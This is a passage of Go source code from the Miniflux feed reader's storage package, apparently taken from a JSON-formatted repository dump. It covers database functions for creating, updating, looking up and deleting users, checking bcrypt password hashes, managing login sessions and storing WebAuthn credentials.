tx.QueryRow(\n\t\tquery,\n\t\tuserCreationRequest.Username,\n\t\thashedPassword,\n\t\tuserCreationRequest.IsAdmin,\n\t\tuserCreationRequest.GoogleID,\n\t\tuserCreationRequest.OpenIDConnectID,\n\t).Scan(\n\t\t&user.ID,\n\t\t&user.Username,\n\t\t&user.IsAdmin,\n\t\t&user.Language,\n\t\t&user.Theme,\n\t\t&user.Timezone,\n\t\t&user.EntryDirection,\n\t\t&user.EntriesPerPage,\n\t\t&user.KeyboardShortcuts,\n\t\t&user.ShowReadingTime,\n\t\t&user.EntrySwipe,\n\t\t&user.GestureNav,\n\t\t&user.Stylesheet,\n\t\t&user.CustomJS,\n\t\t&user.ExternalFontHosts,\n\t\t&user.GoogleID,\n\t\t&user.OpenIDConnectID,\n\t\t&user.DisplayMode,\n\t\t&user.EntryOrder,\n\t\t&user.DefaultReadingSpeed,\n\t\t&user.CJKReadingSpeed,\n\t\t&user.DefaultHomePage,\n\t\t&user.CategoriesSortingOrder,\n\t\t&user.MarkReadOnView,\n\t\t&user.MediaPlaybackRate,\n\t\t&user.BlockFilterEntryRules,\n\t\t&user.KeepFilterEntryRules,\n\t\t&user.AlwaysOpenExternalLinks,\n\t\t&user.OpenExternalLinksInNewTab,\n\t)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, fmt.Errorf(`store: unable to create user: %v`, err)\n\t}\n\n\t_, err = tx.Exec(`INSERT INTO categories (user_id, title) VALUES ($1, $2)`, user.ID, \"All\")\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, fmt.Errorf(`store: unable to create user default category: %v`, err)\n\t}\n\n\t_, err = tx.Exec(`INSERT INTO integrations (user_id) VALUES ($1)`, user.ID)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, fmt.Errorf(`store: unable to create integration row: %v`, err)\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t}\n\n\treturn &user, nil\n}\n\n// UpdateUser updates a user.\nfunc (s *Storage) UpdateUser(user *model.User) error {\n\tuser.ExternalFontHosts = strings.TrimSpace(user.ExternalFontHosts)\n\n\tif user.Password != \"\" {\n\t\thashedPassword, err := crypto.HashPassword(user.Password)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tquery := `\n\t\t\tUPDATE users SET\n\t\t\t\tusername=LOWER($1),\n\t\t\t\tpassword=$2,\n\t\t\t\tis_admin=$3,\n\t\t\t\ttheme=$4,\n\t\t\t\tlanguage=$5,\n\t\t\t\ttimezone=$6,\n\t\t\t\tentry_direction=$7,\n\t\t\t\tentries_per_page=$8,\n\t\t\t\tkeyboard_shortcuts=$9,\n\t\t\t\tshow_reading_time=$10,\n\t\t\t\tentry_swipe=$11,\n\t\t\t\tgesture_nav=$12,\n\t\t\t\tstylesheet=$13,\n\t\t\t\tcustom_js=$14,\n\t\t\t\texternal_font_hosts=$15,\n\t\t\t\tgoogle_id=$16,\n\t\t\t\topenid_connect_id=$17,\n\t\t\t\tdisplay_mode=$18,\n\t\t\t\tentry_order=$19,\n\t\t\t\tdefault_reading_speed=$20,\n\t\t\t\tcjk_reading_speed=$21,\n\t\t\t\tdefault_home_page=$22,\n\t\t\t\tcategories_sorting_order=$23,\n\t\t\t\tmark_read_on_view=$24,\n\t\t\t\tmark_read_on_media_player_completion=$25,\n\t\t\t\tmedia_playback_rate=$26,\n\t\t\t\tblock_filter_entry_rules=$27,\n\t\t\t\tkeep_filter_entry_rules=$28,\n\t\t\t\talways_open_external_links=$29,\n\t\t\t\topen_external_links_in_new_tab=$30\n\t\t\tWHERE\n\t\t\t\tid=$31\n\t\t`\n\n\t\t_, err = s.db.Exec(\n\t\t\tquery,\n\t\t\tuser.Username,\n\t\t\thashedPassword,\n\t\t\tuser.IsAdmin,\n\t\t\tuser.Theme,\n\t\t\tuser.Language,\n\t\t\tuser.Timezone,\n\t\t\tuser.EntryDirection,\n\t\t\tuser.EntriesPerPage,\n\t\t\tuser.KeyboardShortcuts,\n\t\t\tuser.ShowReadingTime,\n\t\t\tuser.EntrySwipe,\n\t\t\tuser.GestureNav,\n\t\t\tuser.Stylesheet,\n\t\t\tuser.CustomJS,\n\t\t\tuser.ExternalFontHosts,\n\t\t\tuser.GoogleID,\n\t\t\tuser.OpenIDConnectID,\n\t\t\tuser.DisplayMode,\n\t\t\tuser.EntryOrder,\n\t\t\tuser.DefaultReadingSpeed,\n\t\t\tuser.CJKReadingSpeed,\n\t\t\tuser.DefaultHomePage,\n\t\t\tuser.CategoriesSortingOrder,\n\t\t\tuser.MarkReadOnView,\n\t\t\tuser.MarkReadOnMediaPlayerCompletion,\n\t\t\tuser.MediaPlaybackRate,\n\t\t\tuser.BlockFilterEntryRules,\n\t\t\tuser.KeepFilterEntryRules,\n\t\t\tuser.AlwaysOpenExternalLinks,\n\t\t\tuser.OpenExternalLinksInNewTab,\n\t\t\tuser.ID,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to update user: %v`, err)\n\t\t}\n\t} else {\n\t\tquery := `\n\t\t\tUPDATE users SET\n\t\t\t\tusername=LOWER($1),\n\t\t\t\tis_admin=$2,\n\t\t\t\ttheme=$3,\n\t\t\t\tlanguage=$4,\n\t\t\t\ttimezone=$5,\n\t\t\t\tentry_direction=$6,\n\t\t\t\tentries_per_page=$7,\n\t\t\t\tkeyboard_shortcuts=$8,\n\t\t\t\tshow_reading_time=$9,\n\t\t\t\tentry_swipe=$10,\n\t\t\t\tgesture_nav=$11,\n\t\t\t\tstylesheet=$12,\n\t\t\t\tcustom_js=$13,\n\t\t\t\texternal_font_hosts=$14,\n\t\t\t\tgoogle_id=$15,\n\t\t\t\topenid_connect_id=$16,\n\t\t\t\tdisplay_mode=$17,\n\t\t\t\tentry_order=$18,\n\t\t\t\tdefault_reading_speed=$19,\n\t\t\t\tcjk_reading_speed=$20,\n\t\t\t\tdefault_home_page=$21,\n\t\t\t\tcategories_sorting_order=$22,\n\t\t\t\tmark_read_on_view=$23,\n\t\t\t\tmark_read_on_media_player_completion=$24,\n\t\t\t\tmedia_playback_rate=$25,\n\t\t\t\tblock_filter_entry_rules=$26,\n\t\t\t\tkeep_filter_entry_rules=$27,\n\t\t\t\talways_open_external_links=$28,\n\t\t\t\topen_external_links_in_new_tab=$29\n\t\t\tWHERE\n\t\t\t\tid=$30\n\t\t`\n\n\t\t_, err := s.db.Exec(\n\t\t\tquery,\n\t\t\tuser.Username,\n\t\t\tuser.IsAdmin,\n\t\t\tuser.Theme,\n\t\t\tuser.Language,\n\t\t\tuser.Timezone,\n\t\t\tuser.EntryDirection,\n\t\t\tuser.EntriesPerPage,\n\t\t\tuser.KeyboardShortcuts,\n\t\t\tuser.ShowReadingTime,\n\t\t\tuser.EntrySwipe,\n\t\t\tuser.GestureNav,\n\t\t\tuser.Stylesheet,\n\t\t\tuser.CustomJS,\n\t\t\tuser.ExternalFontHosts,\n\t\t\tuser.GoogleID,\n\t\t\tuser.OpenIDConnectID,\n\t\t\tuser.DisplayMode,\n\t\t\tuser.EntryOrder,\n\t\t\tuser.DefaultReadingSpeed,\n\t\t\tuser.CJKReadingSpeed,\n\t\t\tuser.DefaultHomePage,\n\t\t\tuser.CategoriesSortingOrder,\n\t\t\tuser.MarkReadOnView,\n\t\t\tuser.MarkReadOnMediaPlayerCompletion,\n\t\t\tuser.MediaPlaybackRate,\n\t\t\tuser.BlockFilterEntryRules,\n\t\t\tuser.KeepFilterEntryRules,\n\t\t\tuser.AlwaysOpenExternalLinks,\n\t\t\tuser.OpenExternalLinksInNewTab,\n\t\t\tuser.ID,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to update user: %v`, err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// UserLanguage returns the language of the given user.\nfunc (s *Storage) UserLanguage(userID int64) (language string) {\n\terr := s.db.QueryRow(`SELECT language FROM users WHERE id = $1`, userID).Scan(&language)\n\tif err != nil {\n\t\treturn \"en_US\"\n\t}\n\n\treturn language\n}\n\n// UserByID finds a user by the ID.\nfunc (s *Storage) UserByID(userID int64) (*model.User, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tusername,\n\t\t\tis_admin,\n\t\t\ttheme,\n\t\t\tlanguage,\n\t\t\ttimezone,\n\t\t\tentry_direction,\n\t\t\tentries_per_page,\n\t\t\tkeyboard_shortcuts,\n\t\t\tshow_reading_time,\n\t\t\tentry_swipe,\n\t\t\tgesture_nav,\n\t\t\tlast_login_at,\n\t\t\tstylesheet,\n\t\t\tcustom_js,\n\t\t\texternal_font_hosts,\n\t\t\tgoogle_id,\n\t\t\topenid_connect_id,\n\t\t\tdisplay_mode,\n\t\t\tentry_order,\n\t\t\tdefault_reading_speed,\n\t\t\tcjk_reading_speed,\n\t\t\tdefault_home_page,\n\t\t\tcategories_sorting_order,\n\t\t\tmark_read_on_view,\n\t\t\tmark_read_on_media_player_completion,\n\t\t\tmedia_playback_rate,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\talways_open_external_links,\n\t\t\topen_external_links_in_new_tab\n\t\tFROM\n\t\t\tusers\n\t\tWHERE\n\t\t\tid = $1\n\t`\n\treturn s.fetchUser(query, userID)\n}\n\n// UserByUsername finds a user by the username.\nfunc (s *Storage) UserByUsername(username string) (*model.User, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tusername,\n\t\t\tis_admin,\n\t\t\ttheme,\n\t\t\tlanguage,\n\t\t\ttimezone,\n\t\t\tentry_direction,\n\t\t\tentries_per_page,\n\t\t\tkeyboard_shortcuts,\n\t\t\tshow_reading_time,\n\t\t\tentry_swipe,\n\t\t\tgesture_nav,\n\t\t\tlast_login_at,\n\t\t\tstylesheet,\n\t\t\tcustom_js,\n\t\t\texternal_font_hosts,\n\t\t\tgoogle_id,\n\t\t\topenid_connect_id,\n\t\t\tdisplay_mode,\n\t\t\tentry_order,\n\t\t\tdefault_reading_speed,\n\t\t\tcjk_reading_speed,\n\t\t\tdefault_home_page,\n\t\t\tcategories_sorting_order,\n\t\t\tmark_read_on_view,\n\t\t\tmark_read_on_media_player_completion,\n\t\t\tmedia_playback_rate,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\talways_open_external_links,\n\t\t\topen_external_links_in_new_tab\n\t\tFROM\n\t\t\tusers\n\t\tWHERE\n\t\t\tusername=LOWER($1)\n\t`\n\treturn s.fetchUser(query, username)\n}\n\n// UserByField finds a user by a field value.\nfunc (s *Storage) UserByField(field, value string) (*model.User, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tusername,\n\t\t\tis_admin,\n\t\t\ttheme,\n\t\t\tlanguage,\n\t\t\ttimezone,\n\t\t\tentry_direction,\n\t\t\tentries_per_page,\n\t\t\tkeyboard_shortcuts,\n\t\t\tshow_reading_time,\n\t\t\tentry_swipe,\n\t\t\tgesture_nav,\n\t\t\tlast_login_at,\n\t\t\tstylesheet,\n\t\t\tcustom_js,\n\t\t\texternal_font_hosts,\n\t\t\tgoogle_id,\n\t\t\topenid_connect_id,\n\t\t\tdisplay_mode,\n\t\t\tentry_order,\n\t\t\tdefault_reading_speed,\n\t\t\tcjk_reading_speed,\n\t\t\tdefault_home_page,\n\t\t\tcategories_sorting_order,\n\t\t\tmark_read_on_view,\n\t\t\tmark_read_on_media_player_completion,\n\t\t\tmedia_playback_rate,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\talways_open_external_links,\n\t\t\topen_external_links_in_new_tab\n\t\tFROM\n\t\t\tusers\n\t\tWHERE\n\t\t\t%s=$1\n\t`\n\treturn s.fetchUser(fmt.Sprintf(query, pq.QuoteIdentifier(field)), value)\n}\n\n// AnotherUserWithFieldExists returns true if a user has the value set for the given field.\nfunc (s *Storage) AnotherUserWithFieldExists(userID int64, field, value string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM users WHERE id <> $1 AND ` + pq.QuoteIdentifier(field) + `=$2 LIMIT 1`\n\ts.db.QueryRow(query, userID, value).Scan(&result)\n\treturn result\n}\n\n// UserByAPIKey returns a User from an API Key.\nfunc (s *Storage) UserByAPIKey(token string) (*model.User, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tu.id,\n\t\t\tu.username,\n\t\t\tu.is_admin,\n\t\t\tu.theme,\n\t\t\tu.language,\n\t\t\tu.timezone,\n\t\t\tu.entry_direction,\n\t\t\tu.entries_per_page,\n\t\t\tu.keyboard_shortcuts,\n\t\t\tu.show_reading_time,\n\t\t\tu.entry_swipe,\n\t\t\tu.gesture_nav,\n\t\t\tu.last_login_at,\n\t\t\tu.stylesheet,\n\t\t\tu.custom_js,\n\t\t\tu.external_font_hosts,\n\t\t\tu.google_id,\n\t\t\tu.openid_connect_id,\n\t\t\tu.display_mode,\n\t\t\tu.entry_order,\n\t\t\tu.default_reading_speed,\n\t\t\tu.cjk_reading_speed,\n\t\t\tu.default_home_page,\n\t\t\tu.categories_sorting_order,\n\t\t\tu.mark_read_on_view,\n\t\t\tu.mark_read_on_media_player_completion,\n\t\t\tmedia_playback_rate,\n\t\t\tu.block_filter_entry_rules,\n\t\t\tu.keep_filter_entry_rules,\n\t\t\tu.always_open_external_links,\n\t\t\tu.open_external_links_in_new_tab\n\t\tFROM\n\t\t\tusers u\n\t\tLEFT JOIN\n\t\t\tapi_keys ON api_keys.user_id=u.id\n\t\tWHERE\n\t\t\tapi_keys.token = $1\n\t`\n\treturn s.fetchUser(query, token)\n}\n\nfunc (s *Storage) fetchUser(query string, args ...any) (*model.User, error) {\n\tvar user model.User\n\terr := s.db.QueryRow(query, args...).Scan(\n\t\t&user.ID,\n\t\t&user.Username,\n\t\t&user.IsAdmin,\n\t\t&user.Theme,\n\t\t&user.Language,\n\t\t&user.Timezone,\n\t\t&user.EntryDirection,\n\t\t&user.EntriesPerPage,\n\t\t&user.KeyboardShortcuts,\n\t\t&user.ShowReadingTime,\n\t\t&user.EntrySwipe,\n\t\t&user.GestureNav,\n\t\t&user.LastLoginAt,\n\t\t&user.Stylesheet,\n\t\t&user.CustomJS,\n\t\t&user.ExternalFontHosts,\n\t\t&user.GoogleID,\n\t\t&user.OpenIDConnectID,\n\t\t&user.DisplayMode,\n\t\t&user.EntryOrder,\n\t\t&user.DefaultReadingSpeed,\n\t\t&user.CJKReadingSpeed,\n\t\t&user.DefaultHomePage,\n\t\t&user.CategoriesSortingOrder,\n\t\t&user.MarkReadOnView,\n\t\t&user.MarkReadOnMediaPlayerCompletion,\n\t\t&user.MediaPlaybackRate,\n\t\t&user.BlockFilterEntryRules,\n\t\t&user.KeepFilterEntryRules,\n\t\t&user.AlwaysOpenExternalLinks,\n\t\t&user.OpenExternalLinksInNewTab,\n\t)\n\n\tif err == sql.ErrNoRows {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch user: %v`, err)\n\t}\n\n\treturn &user, nil\n}\n\n// RemoveUser deletes a user.\nfunc (s *Storage) RemoveUser(userID int64) error {\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t}\n\n\tif _, err := tx.Exec(`DELETE FROM users WHERE id=$1`, userID); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(`store: unable to remove user #%d: %v`, userID, err)\n\t}\n\n\tif _, err := tx.Exec(`DELETE FROM integrations WHERE user_id=$1`, userID); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(`store: unable to remove integration settings for user #%d: %v`, userID, err)\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// RemoveUserAsync deletes user data without locking the database.\nfunc (s *Storage) RemoveUserAsync(userID int64) {\n\tgo func() {\n\t\tif err := s.deleteUserFeeds(userID); err != nil {\n\t\t\tslog.Error(\"Unable to delete user feeds\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\treturn\n\t\t}\n\n\t\ts.db.Exec(`DELETE FROM users WHERE id=$1`, userID)\n\t\ts.db.Exec(`DELETE FROM integrations WHERE user_id=$1`, userID)\n\n\t\tslog.Debug(\"User deleted\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int(\"goroutines\", runtime.NumGoroutine()),\n\t\t)\n\t}()\n}\n\nfunc (s *Storage) deleteUserFeeds(userID int64) error {\n\trows, err := s.db.Query(`SELECT id FROM feeds WHERE user_id=$1`, userID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to get user feeds: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar feedID int64\n\t\trows.Scan(&feedID)\n\n\t\tslog.Debug(\"Deleting feed\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.Int(\"goroutines\", runtime.NumGoroutine()),\n\t\t)\n\n\t\tif err := s.RemoveFeed(userID, feedID); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Users returns all users.\nfunc (s *Storage) Users() (model.Users, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tusername,\n\t\t\tis_admin,\n\t\t\ttheme,\n\t\t\tlanguage,\n\t\t\ttimezone,\n\t\t\tentry_direction,\n\t\t\tentries_per_page,\n\t\t\tkeyboard_shortcuts,\n\t\t\tshow_reading_time,\n\t\t\tentry_swipe,\n\t\t\tgesture_nav,\n\t\t\tlast_login_at,\n\t\t\tstylesheet,\n\t\t\tcustom_js,\n\t\t\texternal_font_hosts,\n\t\t\tgoogle_id,\n\t\t\topenid_connect_id,\n\t\t\tdisplay_mode,\n\t\t\tentry_order,\n\t\t\tdefault_reading_speed,\n\t\t\tcjk_reading_speed,\n\t\t\tdefault_home_page,\n\t\t\tcategories_sorting_order,\n\t\t\tmark_read_on_view,\n\t\t\tmark_read_on_media_player_completion,\n\t\t\tmedia_playback_rate,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\talways_open_external_links,\n\t\t\topen_external_links_in_new_tab\n\t\tFROM\n\t\t\tusers\n\t\tORDER BY username ASC\n\t`\n\trows, err := s.db.Query(query)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch users: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tvar users model.Users\n\tfor rows.Next() {\n\t\tvar user model.User\n\t\terr := rows.Scan(\n\t\t\t&user.ID,\n\t\t\t&user.Username,\n\t\t\t&user.IsAdmin,\n\t\t\t&user.Theme,\n\t\t\t&user.Language,\n\t\t\t&user.Timezone,\n\t\t\t&user.EntryDirection,\n\t\t\t&user.EntriesPerPage,\n\t\t\t&user.KeyboardShortcuts,\n\t\t\t&user.ShowReadingTime,\n\t\t\t&user.EntrySwipe,\n\t\t\t&user.GestureNav,\n\t\t\t&user.LastLoginAt,\n\t\t\t&user.Stylesheet,\n\t\t\t&user.CustomJS,\n\t\t\t&user.ExternalFontHosts,\n\t\t\t&user.GoogleID,\n\t\t\t&user.OpenIDConnectID,\n\t\t\t&user.DisplayMode,\n\t\t\t&user.EntryOrder,\n\t\t\t&user.DefaultReadingSpeed,\n\t\t\t&user.CJKReadingSpeed,\n\t\t\t&user.DefaultHomePage,\n\t\t\t&user.CategoriesSortingOrder,\n\t\t\t&user.MarkReadOnView,\n\t\t\t&user.MarkReadOnMediaPlayerCompletion,\n\t\t\t&user.MediaPlaybackRate,\n\t\t\t&user.BlockFilterEntryRules,\n\t\t\t&user.KeepFilterEntryRules,\n\t\t\t&user.AlwaysOpenExternalLinks,\n\t\t\t&user.OpenExternalLinksInNewTab,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch users row: %v`, err)\n\t\t}\n\n\t\tusers = append(users, &user)\n\t}\n\n\treturn users, nil\n}\n\n// CheckPassword validate the hashed password.\nfunc (s *Storage) CheckPassword(username, password string) error {\n\tvar hash string\n\tusername = strings.ToLower(username)\n\n\terr := s.db.QueryRow(\"SELECT password FROM users WHERE username=$1\", username).Scan(&hash)\n\tif err == sql.ErrNoRows {\n\t\treturn fmt.Errorf(`store: unable to find this user: %s`, username)\n\t} else if err != nil {\n\t\treturn fmt.Errorf(`store: unable to fetch user: %v`, err)\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)); err != nil {\n\t\treturn fmt.Errorf(`store: invalid password for \"%s\" (%v)`, username, err)\n\t}\n\n\treturn nil\n}\n\n// HasPassword returns true if the given user has a password defined.\nfunc (s *Storage) HasPassword(userID int64) (bool, error) {\n\tvar result bool\n\tquery := `SELECT true FROM users WHERE id=$1 AND password <> '' LIMIT 1`\n\n\terr := s.db.QueryRow(query, userID).Scan(&result)\n\tif err == sql.ErrNoRows {\n\t\treturn false, nil\n\t} else if err != nil {\n\t\treturn false, fmt.Errorf(`store: unable to execute query: %v`, err)\n\t}\n\n\tif result {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}\n"
  },
  {
    "path": "internal/storage/user_session.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"crypto/rand\"\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// UserSessions returns the list of sessions for the given user.\nfunc (s *Storage) UserSessions(userID int64) ([]model.UserSession, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\ttoken,\n\t\t\tcreated_at,\n\t\t\tuser_agent,\n\t\t\tip\n\t\tFROM\n\t\t\tuser_sessions\n\t\tWHERE\n\t\t\tuser_id=$1 ORDER BY id DESC\n\t`\n\trows, err := s.db.Query(query, userID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch user sessions: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tvar sessions []model.UserSession\n\tfor rows.Next() {\n\t\tvar session model.UserSession\n\t\terr := rows.Scan(\n\t\t\t&session.ID,\n\t\t\t&session.UserID,\n\t\t\t&session.Token,\n\t\t\t&session.CreatedAt,\n\t\t\t&session.UserAgent,\n\t\t\t&session.IP,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch user session row: %v`, err)\n\t\t}\n\n\t\tsessions = append(sessions, session)\n\t}\n\n\treturn sessions, nil\n}\n\n// CreateUserSessionFromUsername creates a new user session.\nfunc (s *Storage) CreateUserSessionFromUsername(username, userAgent, ip string) (sessionID string, userID int64, err error) {\n\ttoken := rand.Text()\n\tif ip == \"\" {\n\t\tip = \"127.0.0.1\"\n\t}\n\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t}\n\n\terr = tx.QueryRow(`SELECT id FROM users WHERE username = LOWER($1)`, username).Scan(&userID)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn \"\", 0, fmt.Errorf(`store: unable to fetch user ID: %v`, err)\n\t}\n\n\t_, err = tx.Exec(\n\t\t`INSERT INTO user_sessions (token, user_id, user_agent, ip) VALUES ($1, $2, $3, $4)`,\n\t\ttoken,\n\t\tuserID,\n\t\tuserAgent,\n\t\tip,\n\t)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn \"\", 0, fmt.Errorf(`store: unable to create user session: %v`, err)\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn \"\", 0, fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t}\n\n\treturn token, userID, nil\n}\n\n// UserSessionByToken finds a session by the token.\nfunc (s *Storage) UserSessionByToken(token string) (*model.UserSession, error) {\n\tvar session model.UserSession\n\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\tuser_id,\n\t\t\ttoken,\n\t\t\tcreated_at,\n\t\t\tuser_agent,\n\t\t\tip\n\t\tFROM\n\t\t\tuser_sessions\n\t\tWHERE\n\t\t\ttoken = $1\n\t`\n\terr := s.db.QueryRow(query, token).Scan(\n\t\t&session.ID,\n\t\t&session.UserID,\n\t\t&session.Token,\n\t\t&session.CreatedAt,\n\t\t&session.UserAgent,\n\t\t&session.IP,\n\t)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch user session: %v`, err)\n\tdefault:\n\t\treturn &session, nil\n\t}\n}\n\n// RemoveUserSessionByToken remove a session by using the token.\nfunc (s *Storage) RemoveUserSessionByToken(userID int64, token string) error {\n\tquery := `DELETE FROM user_sessions WHERE user_id=$1 AND token=$2`\n\tresult, err := s.db.Exec(query, userID, token)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this user session: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this user session: %v`, err)\n\t}\n\n\tif count != 1 {\n\t\treturn errors.New(`store: nothing has been removed`)\n\t}\n\n\treturn nil\n}\n\n// RemoveUserSessionByID remove a session by using the ID.\nfunc (s *Storage) RemoveUserSessionByID(userID, sessionID int64) error {\n\tquery := `DELETE FROM user_sessions WHERE user_id=$1 AND id=$2`\n\tresult, err := s.db.Exec(query, userID, sessionID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this user session: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove this user session: %v`, err)\n\t}\n\n\tif count != 1 {\n\t\treturn errors.New(`store: nothing has been removed`)\n\t}\n\n\treturn nil\n}\n\n// CleanOldUserSessions removes user sessions older than specified interval (24h minimum).\nfunc (s *Storage) CleanOldUserSessions(interval time.Duration) int64 {\n\tquery := `\n\t\tDELETE FROM\n\t\t\tuser_sessions\n\t\tWHERE\n\t\t\tcreated_at < now() - $1::interval\n\t`\n\n\tdays := max(int(interval/(24*time.Hour)), 1)\n\n\tresult, err := s.db.Exec(query, fmt.Sprintf(\"%d days\", days))\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\tn, _ := result.RowsAffected()\n\treturn n\n}\n"
  },
  {
    "path": "internal/storage/webauthn.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/go-webauthn/webauthn/webauthn\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// AddWebAuthnCredential handles storage of webauthn credentials.\nfunc (s *Storage) AddWebAuthnCredential(userID int64, handle []byte, credential *webauthn.Credential) error {\n\tquery := `\n\t\tINSERT INTO webauthn_credentials\n\t\t\t(handle, cred_id, user_id, public_key, attestation_type, aaguid, sign_count, clone_warning) \n\t\tVALUES\n\t\t\t($1, $2, $3, $4, $5, $6, $7, $8)\n\t`\n\t_, err := s.db.Exec(\n\t\tquery,\n\t\thandle,\n\t\tcredential.ID,\n\t\tuserID,\n\t\tcredential.PublicKey,\n\t\tcredential.AttestationType,\n\t\tcredential.Authenticator.AAGUID,\n\t\tcredential.Authenticator.SignCount,\n\t\tcredential.Authenticator.CloneWarning,\n\t)\n\treturn err\n}\n\nfunc (s *Storage) WebAuthnCredentialByHandle(handle []byte) (int64, *model.WebAuthnCredential, error) {\n\tvar credential model.WebAuthnCredential\n\tvar userID int64\n\tquery := `\n\t\tSELECT\n\t\t\tuser_id,\n\t\t\tcred_id,\n\t\t\tpublic_key,\n\t\t\tattestation_type,\n\t\t\taaguid,\n\t\t\tsign_count,\n\t\t\tclone_warning,\n\t\t\tadded_on,\n\t\t\tlast_seen_on,\n\t\t\tname\n\t\tFROM\n\t\t\twebauthn_credentials\n\t\tWHERE\n\t\t\thandle = $1\n\t`\n\tvar nullName sql.NullString\n\terr := s.db.\n\t\tQueryRow(query, handle).\n\t\tScan(\n\t\t\t&userID,\n\t\t\t&credential.Credential.ID,\n\t\t\t&credential.Credential.PublicKey,\n\t\t\t&credential.Credential.AttestationType,\n\t\t\t&credential.Credential.Authenticator.AAGUID,\n\t\t\t&credential.Credential.Authenticator.SignCount,\n\t\t\t&credential.Credential.Authenticator.CloneWarning,\n\t\t\t&credential.AddedOn,\n\t\t\t&credential.LastSeenOn,\n\t\t\t&nullName,\n\t\t)\n\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\tif nullName.Valid {\n\t\tcredential.Name = nullName.String\n\t} else {\n\t\tcredential.Name = \"\"\n\t}\n\tcredential.Handle = handle\n\treturn userID, &credential, err\n}\n\nfunc (s *Storage) WebAuthnCredentialsByUserID(userID int64) ([]model.WebAuthnCredential, error) {\n\tquery := `\n\t\tSELECT\n\t\t\thandle,\n\t\t\tcred_id,\n\t\t\tpublic_key,\n\t\t\tattestation_type,\n\t\t\taaguid,\n\t\t\tsign_count,\n\t\t\tclone_warning,\n\t\t\tname,\n\t\t\tadded_on,\n\t\t\tlast_seen_on\n\t\tFROM\n\t\t\twebauthn_credentials\n\t\tWHERE\n\t\t\tuser_id = 